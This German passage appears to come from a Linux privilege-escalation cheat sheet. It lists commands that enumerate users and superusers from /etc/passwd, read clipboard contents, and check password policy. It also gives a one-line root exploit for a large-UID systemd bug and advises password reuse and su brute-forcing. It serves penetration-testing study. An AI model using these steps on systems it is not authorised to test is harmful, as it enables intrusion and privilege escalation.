Überprüfen Sie wer Sie sind, welche Berechtigungen Sie haben, welche Benutzer sich im System befinden, wer sich anmelden kann und welche Benutzer Root-Berechtigungen haben:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Große UID

Einige Linux-Versionen waren von einem Fehler betroffen, der es Benutzern mit UID > INT_MAX ermöglicht, Berechtigungen zu eskalieren. Weitere Informationen: hier, hier und hier. Exploitieren Sie es mit: systemd-run -t /bin/bash

Gruppen

Überprüfen Sie, ob Sie Mitglied einer Gruppe sind, die Ihnen Root-Rechte gewähren könnte:

Interesting Groups - Linux Privesc

Zwischenablage

Überprüfen Sie, ob sich etwas Interessantes in der Zwischenablage befindet (falls möglich)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Passwortrichtlinie

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Bekannte Passwörter

Wenn Sie ein Passwort der Umgebung kennen, versuchen Sie, sich als jeden Benutzer mit dem Passwort anzumelden.

Su-Brute

Wenn es Ihnen nichts ausmacht, viel Lärm zu machen und die Binärdateien su und timeout auf dem Computer vorhanden sind, können Sie versuchen, Benutzer mit su-bruteforce zu brute-forcen.